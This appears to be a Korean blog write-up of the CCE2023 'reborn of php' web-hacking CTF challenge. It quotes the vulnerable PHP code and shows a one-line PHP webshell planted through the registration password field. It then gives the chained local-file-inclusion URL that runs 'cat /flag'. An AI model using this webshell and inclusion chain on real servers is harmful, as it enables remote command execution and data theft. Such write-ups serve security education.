IT/CTF / / 2023. 6. 3. 23:03

CCE2023 APOLLO WEB HACKING [100] - reborn of php

반응형

for_user (2).zip
0.01MB

그룹웨어 페이지에

 

등록 및 로그인 화면을 볼 수 있다.

 

관련 파일을 다운받으면 docker.file을 확인할 수 있으며 flag는 /flag에 위치하는것을 알 수 있다.

 

회원가입할 때 id에 입력한 값을 파일 명으로 password에 입력한 값을 데이터로 저장

function save_user_id($id, $pw){
        chdir('../');
        file_put_contents("dbs/{$id}", serialize($pw));
}

 

파일을 생성하여 웹셀 코드 생성

 

파일명 : ccehello.php
파일 데이터 : s:5:"<?php system($_GET['cmd']);?>";

 

또한, index.php 파일에서 a, b Parameter를 이용하여 특정 페이지를 include 하는 코드가 존재하고 있습니다.

class Controller {
    private $board = '';
    private $action = '';
    function __construct($board, $action) {
        $this->board = $board;
        $this->action = $action;
        if(!preg_match('/^[a-z0-9:.]+$/i', $this->board)){
            $this->board = 'main';
            $this->action = 'index';
       }
    }
   
    function process() {
        $path = "{$this->board}/{$this->action}";
        
        if(preg_match('/php|html/i',  $path)){
            alert('not invalid', 'back');
        }           
        chdir('pages/');
        if(!file_exists("{$path}.php")) $path = 'main/index';
        include("{$path}.php");
   }     
}
$board = $_GET['b'] ? $_GET['b'] : 'main' ;
$action = $_GET['a'] ? $_GET['a'] : 'index';
$controller = new Controller($board, $action);
$controller->process();

 

Path에 해당하는 a 에 /를 포함한 경로를 입력하고 b에는 정규식 표현을 우회하여 특정 파일을 include

 

접속 URI : http://prob2.cstec.kr:5580/index.php?b=..&a=dbs/ccehello&cmd=cat%20/flag

 

반응형
  • 네이버 블로그 공유
  • 네이버 밴드 공유
  • 페이스북 공유
  • 카카오스토리 공유